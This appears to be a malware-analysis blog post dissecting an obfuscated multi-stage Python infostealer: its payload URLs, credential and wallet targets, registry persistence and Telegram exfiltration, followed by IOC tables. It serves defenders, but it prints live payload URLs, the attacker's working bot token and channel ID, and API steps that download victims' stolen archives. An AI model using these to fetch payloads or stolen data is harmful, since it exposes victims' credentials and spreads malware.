file stage4.pyc
stage4.pyc: Byte-compiled Python module for CPython 3.10, timestamp-based, .py timestamp: Thu Jan 1 00:00:00 1970 UTC, .py size: 0 bytes
The disassembled .pyc file and then?
Inside the .pyc file written on disk by the previous program, we have a bunch of garbage:
We are dealing with a .pyc file, which is a compiled Python script. Since the source code is unavailable, the standard approach would be to use a decompiler; however, the output is unusable and filled with junk data.
The alternative solution is to disassemble the file to inspect the bytecode instructions directly. Fortunately, Python’s native dis library makes this straightforward. To obtain a clean disassembly, we simply need to append dis.dis(code) to the end of our script, filter out the keyword morphisec (which pollutes the code) using grep, and redirect the output to a file:
python3.10 deobfuscated.py | grep -v "morphisec" > decomp.txt
-rw-rw---- 1 root root 154K Dec 22 20:07 decomp.txt
The disass/decompile part is not working with pycdc due to the obfuscation
For your information, if we kept the disassembly without grepping-out morphisec, the file weights 4.3G
-rw-rw---- 1 root root 4.3G Dec 22 20:19 raw.txt
The Python instructions
Now we can see the content of decomp.txt. It’s important to note the Names, that can be very indicative on what the script is doing. For the moment we can see keywords linked to sys, requests, HKEY_CURRENT_USER….
The OPCODES look like this:
I managed to open in VScode the raw.txt (instructions without grepping out morphisec):
And yes….. The obfuscation is real because I managed to open the raw OPCODEs extracted from dis.dis(code). And yes, it weighs many Gigabytes:
Leveraging open source intelligence
During the painful static analysis with the .pycfile, I found out a discriminant word: deptraicogisai6. A quick Google dork shows us few things:
I ended up on this post:
Which contains the slur string:
Dynamic analysis of the py.ico file
The garbage OPCODE inside the disassembled .pyc file are useless but a good example of obfuscation. Pycdc didn’t work out for the decompilation part due to the control flow and logic behind the program. Yeah okay static analysis won’t work because our threat actor made it basically horrible to get back to the normal .py file. Let’s bring the dynamic analysis part.
File downloaded and executed
Once executed as it was meant to be executed, we can quickly notice that our infected machine is communicating with abnormal domain names: t.me andapi.telegram.org (Telegram), urlvanish.com, ipwho.is, mongky68.godohosting.com and bagumedios.cloud.
mongky68.godohosting.com is in reality an alias to godoxnxkre.ecn.cdn.infralab.net:
- which is an alias to
goeg.c-cdn.infralab.net. - which is an alias to
godo.farm.gazelzone.com. - which resolve as
112.214.46.102
The py.ico is downloading two files (the next stages) from mongky68.godohosting.com via HTTP.
The URL of the downloaded files are http://mongky68.godohosting.com/detail/nonlocal/23summer/ABE
http://mongky68.godohosting.com/detail/nonlocal/23summer/PA/pure
Depending the number of executions of the file, it might be downloaded from hxxp://mongky68[.]godohosting[.]com/detail/nonlocal/23summer/PA/PA?referer=urlvanish.com%2Ffe44f1ba. In any cases, the file stays the same.
The ABE file, a DLL
We have seen that the ABE file is downloaded from hxxp://mongky68[.]godohosting[.]com in the first place.
The file is base64 encoded:
And happened to be a PE file (DLL)
file ABE
abe.exe: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
For now, we don’t need any static or dynamic analysis of this file, but this program is related to Web browser.
pure file, yet another obfuscated python bytecode
The file pure is another embedded python bytecode, just like the py.ico.
We can do the same as the py.ico file:
import marshal, zlib, bz2, base64
import importlib, dis
code_bytes = zlib.decompress(bz2.decompress(base64.b85decode(b"LRx4!F+o`-Q(3^2tS<tv5r6.......")
code = marshal.loads(code_bytes)
# put it in a .pyc file
pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code)
# write the .pyc on the disk
with open("pure.pyc", "wb") as f:
f.write(pyc_data)
dis.dis(code)
We can grep out morphisec from the standard output (dis.dis(code)), then redirects the output in a text file. We still have our pure.pyc but this one is useless because common Python Decompilers are crashing due to the control flow as we have seen before.
-rw-rw---- 1 root root 117M Dec 21 17:25 pure.pyc
-rw-rw---- 1 root root 17M Dec 22 21:02 pure.txt
We can see that there is some memory allocation with a base64 encoded shellcode:
Anti analysis
At the line 18915 we can see the anti analysis mechanism:
_ngocuyen, which might be a cropped version of the Vietnamese-origin guy from Facebook:
bagumedios.cloud and the bytecode
As seen on the network capture, the malware reaches afterward the URL https://bagumedios.cloud/assets/media/others/clip. This is yet another python bytecode where we can barely perform a static analysis. We can extract OPCODES by grepping out as I mentioned earlier. It gives us another bunch of OPCODES that are not that useful. For this analysis, I prefer the dynamic way.
Harvesting
Along the dynamic analysis, the infostealer also grabs files from many desktop cryptocurrency wallets (MetaMask…), VPN clients (ProtonVPN, OpenVPN) as well as applications such as Telegram, and much more.
We can notice that by looking inside ProcMon, on the filed queried. It looks like this:
But it’s not easy to query. We can export it in CSV grep it as we want:
awk -F',' '{print $5}' procmon.CSV | grep "AppData" | sort | uniq
Based on the output, I managed to see what software the infostealer was looking for.
Cryptocurrency Wallets & Assets
The stealer is explicitly hunting for standalone wallet applications.
- MultiDoge: A lightweight Dogecoin client. It targets
.walletfiles here. - MyMonero: A wallet for Monero (XMR). Stealers prioritize this because XMR is untraceable and highly valuable to cybercriminals.
- Opera Crypto: A specific version of the Opera browser designed with a built-in crypto wallet.
- CryptoTab Browser: A browser capable of mining cryptocurrency; the stealer will look for the user’s mining balance and affiliated wallet credentials.
- Binance Wallet
- MetaMask
- Phantom : Solana wallet
- TronLink : Wallet for TRON
- XDEFI Wallet
- Yoroi : Wallet Cardano (ADA).
VPN Clients
- OpenVPN Connect: explicitly querying
%APPDATA%\Roaming\OpenVPN Connect\profiles. - ProtonVPN
Web Browsers credentials
The infostealer queried a massive array of Chromium-based and Gecko-based browsers. The malware targets the User Data directories to extract Local State (encryption keys), Login Data (passwords), Cookies, History and Web Data (autofill). It takes place on many browsers:
- Mozilla Firefox: (See specific files below).
- Brave-Browser (and Nightly build).
- Opera (Stable, GX, and Crypto).
- Chromium.
- Avast Software Browser & AVG Browser.
- CCleaner Browser.
- Comodo Dragon.
- Arc.
- Aloha.
- 360Browser / 360extremebrowser (Popular in China).
- CocCoc (Popular in Vietnam - aligns with the “Deptraicogisai6” attribution).
- Amigo.
- CentBrowser.
- Chedot.
- BlackHaw
All other extensions
I extracted the extension ID:
awk -F',' '{print $5}' procmon.CSV | egrep -o "[a-z]{32}" | sort | uniq > ext.txt
And wrote a script to lookup the extension ID in order to find the name:
import requests
from bs4 import BeautifulSoup
def get_extension_name(ext_id):
url = f"https://chromewebstore.google.com/detail/{ext_id}"
try:
response = requests.get(url)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
title = soup.title.string
name = title.replace(" - Chrome Web Store", "")
return name
else:
return "Not Found (Might be removed or private)"
except Exception as e:
return f"Error: {e}"
# Read IDs from file
with open("ext.txt", "r") as f:
extension_ids = [line.strip() for line in f if line.strip()]
for ext_id in extension_ids:
name = get_extension_name(ext_id)
print(f"{ext_id}: {name}")
After a few changes on the output (duplicatas…), I ended up with:
| Extension List 1 | Extension List 2 | Extension List 3 |
|---|---|---|
| Ambire Web3 Wallet | Atomic Wallet | Auro Wallet |
| Authenticator | Backpack | Bitget Wallet - Crypto, Web3 | Bitcoin & USDT |
| Bitwarden Password Manager | Braavos: Bitcoin & Starknet Wallet | Browserpass |
| Byone | Chrome Web Store | CLV Wallet |
| Coin98 Wallet Extension: Crypto & Defi | Coinbase Wallet extension | Coinhub |
| CommonKey | Compass Wallet for Sei | Cosmostation Wallet |
| Crypto.com | Onchain Extension | Ctrl Wallet | Cyano Wallet |
| Dashlane — Password Manager | Ecto Wallet | Enkrypt: ETH, BTC and Solana Wallet |
| Eternl | EVER Wallet | Exodus Web3 Wallet |
| Finnie | Fluvi Wallet | GAuth Authenticator |
| Glass wallet | Sui wallet | Goby | Guarda |
| Hashpack | HAVAH Wallet | ICONex |
| iWallet | KardiaChain Wallet | KeePassXC-Browser |
| Keeper® Password Manager & Digital Vault | Keeper Wallet | Keplr |
| LastPass: Free Password Manager | Leap Terra Wallet | Leather |
| Leo Wallet | Magic Eden Wallet | Martian Aptos & Sui Wallet Extension |
| MathWallet | MetaMask | MultiversX Wallet |
| MYKI Password Manager & Authenticator | MyTonWallet · My TON Wallet | Nami |
| NeoLine | Nightly | NordPass® (legacy) |
| OKX Wallet | OneKey: Secure Crypto Wallet | OpenMask - TON wallet |
| Oxygen - Atomic Crypto Wallet | Pali Wallet | Petra Aptos Wallet |
| Phantom | Polymesh Wallet | Pontem Crypto Wallet - Eth, Sol, BTC + |
| Pulse Wallet Chromium | Rabby Wallet | Rainbow |
| Ready Wallet (Formerly Argent) | RoboForm Password Manager | Ronin Wallet |
| SafePal Extension Wallet | Sender Wallet | Solflare Wallet |
| Splikity | Station Wallet | SteemKeychain |
| SubWallet - Polkadot Wallet | Talisman Wallet | Temple Wallet |
| TezBox - Tezos Wallet | TON Wallet | Tonkeeper — wallet for TON |
| TronLink | Trust Wallet | Uniswap Extension |
| Venom Wallet | Xverse: Bitcoin Crypto Wallet | Yoroi |
| Zoho Vault - Password Managerx |
Persistence mechanism
During the dynamic analysis, I noticed that the program achieved persistence by setting a Run Registry Key named Windows Update Service, which executes the program py.ico once again at startup.
Telegram exfiltration
Then, we have seen that the stealer is communicating to Telegram but I wasn’t able to find the bot ID in the normal way. The Python obfuscation is too annoying in the static analysis phase. I found a workaround for the exfiltration. Basically, we can find our processes living their own life once the command line executed (svchost1.exe DLLs\py.io MRB_2_NEW_VER_BOT):
So I created a dump file:
And then I ran strings -n 6 svchost1.DMP | grep -v "morphisec" to perform another type of static analysis.
Type of data sent over Telegram
By inspecting the strings, we can We can find what kind of data is sent upon Telegram:
Prior to transferring the exfiltrated data, the malware stage data into a zip file using the following name format: [CC_IPADDRESS] HOSTNAME.zip where CC stands for country code. Here’s an example: [JP_33.82.57.8] FLAREVM.zip
The stealer is harvesting sensitive informations from the list of software mentioned earlier. It transfers the zip file over Telegram with the following caption: IP: <IPV4>\nCountry: <flag emoji> <COUNTRYCODE> - <COUNTRY>\nUsername: auteqia[FLAREVM]\nAntiVirus: Windows Defender\nData Information: CK:63|PW:0|AF:22|CC:0|IBAN:0|TK:0|FB:0|Sites:0|Wallets:6|Apps:0
There is at least two channels linked to the bot: Notification and Reset (Seen in the title key in json). One for the registration and one for the continuous exfiltration.
Telegram Bot & channels
We already found the Telegram BotID: 7755709066:AAExjVy6cxqr-6wprm2w3gqyAXSL7LfmwEE
With what we have seen, we can determine that MRB_2_NEW_VER_BOT is a Telegram bot:
It can be verified inside the dumped strings:
We also have MRB_NEW_VER_BOT bot too but this one is documented:
By querying the endpoint getMe we can get the username of the bot:
https://api.telegram.org/bot7755709066:AAExjVy6cxqr-6wprm2w3gqyAXSL7LfmwEE/getMe
It gives us:
{
"ok": true,
"result": {
"id": 7755709066,
"is_bot": true,
"first_name": "ㅤ",
"username": "Logs_Data_bot",
"can_join_groups": true,
"can_read_all_group_messages": false,
"supports_inline_queries": false,
"can_connect_to_business": false,
"has_main_web_app": false
}
}
Same for the endpoint getChat (chat_id can be found inside the strings):
https://api.telegram.org/bot7755709066:AAExjVy6cxqr-6wprm2w3gqyAXSL7LfmwEE/getChat?chat_id=-1002804802878
The results:
{
"ok": true,
"result": {
"id": -1002804802878,
"title": "Reset Logs",
"type": "channel",
"can_send_gift": true,
"has_visible_history": true,
"can_send_paid_media": true,
"accepted_gift_types": {
"unlimited_gifts": true,
"limited_gifts": true,
"unique_gifts": true,
"premium_subscription": false
},
"available_reactions": [],
"max_reaction_count": 11,
"accent_color_id": 3
}
}
In the end, we can determine the Telegram infrastructure of the threat actor:
- ID: 7755709066
- Username: @Logs_Data_bot
- Token: 7755709066:AAExjVy6cxqr-6wprm2w3gqyAXSL7LfmwEE Data Exfiltration Channel (The Destination):
- Channel ID: -1002804802878
- Channel Title: “Reset Logs”
Quick Telegram trick to recover the exfiltrated data
If you want to see what the malware stole on the computer, you can download the file from Telegram itself (OPSEC WARNING!). To accomplish this task, let’s rewind a bit.
Find the path of our file
Now we will need to query the Telegram API to find the path of our file, let’s hunt for the file_idfield inside the dumped strings:
Once you find it, query this URL with the right file_id:
https://api.telegram.org/bot7755709066:AAExjVy6cxqr-6wprm2w3gqyAXSL7LfmwEE/getFile?file_id=BQACAgUAAyXXXXXXXXXXXXXXXXXX1NgQ
It will give you the file_path:
Get a downloadable link
Now you have the file path, you can download it directly from this URL:
https://api.telegram.org/file/bot7755709066:AAExjVy6cxqr-6wprm2w3gqyAXSL7LfmwEE/documents/file_0.zip
You can discover what have been stolen!
IOCs
Files
| sha256 | Note |
|---|---|
| c340a276f08c1a59ff2385ca565d2eee8afc8c4522c8d082cd043601b84f2319 | pure (Python Bytecode) |
| 1b045316906727988dbc5368ac80950e3ee3684a079d9b602fd8f18ef3e9e07c | ABE (base64) |
| 6163656496580f21fce26776df350af6d931a1c0c1cfff16243776989b482796 | abe.dll (converted from b64) |
| b26e39b39af0c527402dac20552545e1ff6381f71647e02502a5e114a1d1c338 | py.ico |
| 5372e7164f20398676ddc53be3609b624372d11177fa319745f66bc5b40e8618 | clip (downloaded from bagumedios.cloud) |
| ed5333b818526548ba65c14351c29303f83d9db3496643016c5e708d67e4cbc9 | Evidence contained in the investigation dossier.zip |
| 4ba6f37b942d8179e528256a3ac0cb508580fbeb5e01e228deafcc545bd3c0d8 | Evidence contained in the investigation dossier.exe |
| 9cffb87b56c40283ad505a3d5895b72663d9d8d7e5d070a8d5818d60820de10b | DA 성형외과 재무 보고서.pdf (payload in base64) |
| 4a5c95b95c045cd8baa18b550974c405d2985ae2bc9b93403b7775e4e5978798 | Invoice.pdf (base64 decoded) |
| d38af69f488fc6f99188f77742a056d490cc86e27a69eeb5bb7b498e8a09fc8d | File inside - |
| 3c172e0cf52e207ec3d4fe4bbf09bd26c04c61dfe63128f54506796e088d0ba5 | File inside - |
| 7b6b377e3645e9deaadbc437ea7dad599e5cfa542f99713fa65af6d2f6e68cc5 | File inside - |
| a5a10fe0c798b46e38c36e282e0da0624be8f51797b39f17b5c7a009d630cb7a | File inside - |
| d4c186b249e839b9a9d7140ff24eb2cf4f9b292e8f2b199d853285e472055d29 | File inside - |
| 8be97accd5630b48bb6218092e978a6b48aaac8f51d6d7e7582e76eb70b8779b | File inside - |
| 074ffa6d1ce1316ade5c789c2704ec0b31407f1712039e50ee392d82d08674b1 | File inside - |
| 610e9bda397789b77d89a2381f9df551a30b2e355cfc820414f87ea634481ecd | File inside - |
| aa5984c718f5a3e456e593d7f6de524ec01f784294a8dadf3a64daa8fa993cd7 | File inside - |
| 0c27236db73c2d7660c995562305e900a4f587fc468271e6d8fb57334097a500 | File inside - |
| 3410018b299fd11584591dd88bd41198a84a14a879c5f6fe26eb72cfd8dc66df | File inside - |
| 5aaa15ddbef8f1da55ee699fc57b4d857a9c798e53a0a76aea272b1904802e4f | File inside - |
| e2b275b978d87bbe0af95ee7308276179101f53ba91b2044534939f237f54996 | File inside - |
| a3605f3614783b9f43c44527660ca769b963a53677563ad724c038ad810f7a2f | File inside - |
| bed5105f0ae89d8dad5a04bfe153f102c1c82abb46599da7a9b4e53b18db5644 | File inside - |
| c7a932bba605af481b7608df35f979abce9a59adc792c2f6ceee195d3554d371 | File inside - |
| ebc8a75ddc9930154f8cd78e6fb04032d800e18114f0fe8eafa95c332d4f1cef | File inside - |
| 95e9f449c0523006af65fbcf774cf5bab366b0adbc9a074bb870625f7602c778 | File inside - |
| af73005650fad6d6856bafd7e3559fd03916b374f62a4911ede4ec9a9a394c2d | File inside - |
| 87b87c97dd3bd01837e13046b1958cf7135427c6d8038d51dd81f7d697c1580b | File inside - |
| a910124ef32b78c0a1307928853970a4bea6795c1bf09fbe829790ce5d78ff14 | File inside - |
| 2dd8c91f596517610371c2b13a7021a80adc220d2397b8f5db0d9ce62533b6f3 | File inside - |
| 2c3d06e3fdf02fdc57455bb2524d5749fa5874be69e40dbac4c0c35fc9ab77fd | File inside - |
| e0bcb5f25bb15999a5ffbb9cb78535687b06322003f0ebb8af93fafd80ed52b4 | File inside - |
| e4b3150f0116c398e816761094e4aa324a943a5082c106d177878db53ecb1ea7 | File inside - |
| e0f2872f5c02579edc3e34f22d695303793409841f0d823096b92c88c471f596 | File inside - |
| 22bb51db3bcd4b808d3b4085cd4a68dbf4a08a2a5eaefb975207a98645e0d5c3 | File inside - |
| f4e334a44d9e1284468e529fa666164c01378bac5aca2c10d77e9ba5b5bb3c23 | File inside - |
| 9d729fec34a8dd31c7e661095c5d5fd02d6842e2a87e5a82af2b6b1d3cb5a1de | File inside - |
| 4135cda55fc22f6fca0151e5de831ca970577e3c7bbe73f850c89671c51321c2 | File inside - |
| 4a5c95b95c045cd8baa18b550974c405d2985ae2bc9b93403b7775e4e5978798 | File inside - |
| 4202b6501b5c0f905d956f00113447b49fa4e861a968b9b1a2ba77f53aedaf5f | File inside - |
| d9291b2b9378eb5ce12e400a3a983d1e16104c02d36b3cee7ae88c8846f733be | File inside - |
| 3d8a1df21fa869b78b869dd849ef3199d090cd998f102e07eb9d9650ebe4dede | File inside - |
Domains
| Domain name |
|---|
| mongky68.godohosting.com |
| bagumedios.cloud |
| pa.alliedworld.co.za |
URL
| URL | Note |
|---|---|
| hxxps://bagumedios.cloud/assets/media/others/clip | Python bytecode |
| hxxp://mongky68.godohosting.com/detail/nonlocal/23summer/PA/PA?referer=urlvanish.com%2Ffe44f1ba | Alternative URL |
| hxxp://mongky68.godohosting.com/detail/nonlocal/23summer/ABE | Download for DLL |
| hxxp://mongky68.godohosting.com/detail/nonlocal/23summer/PA/pure | Python bytecode |
| hxxps://tr.ee/JQt3ks | Initial URL (shortener) |
| hxxps://pa.alliedworld.co.za/dowload.php?id=e5f53b7c3b | Initial resolution IRL |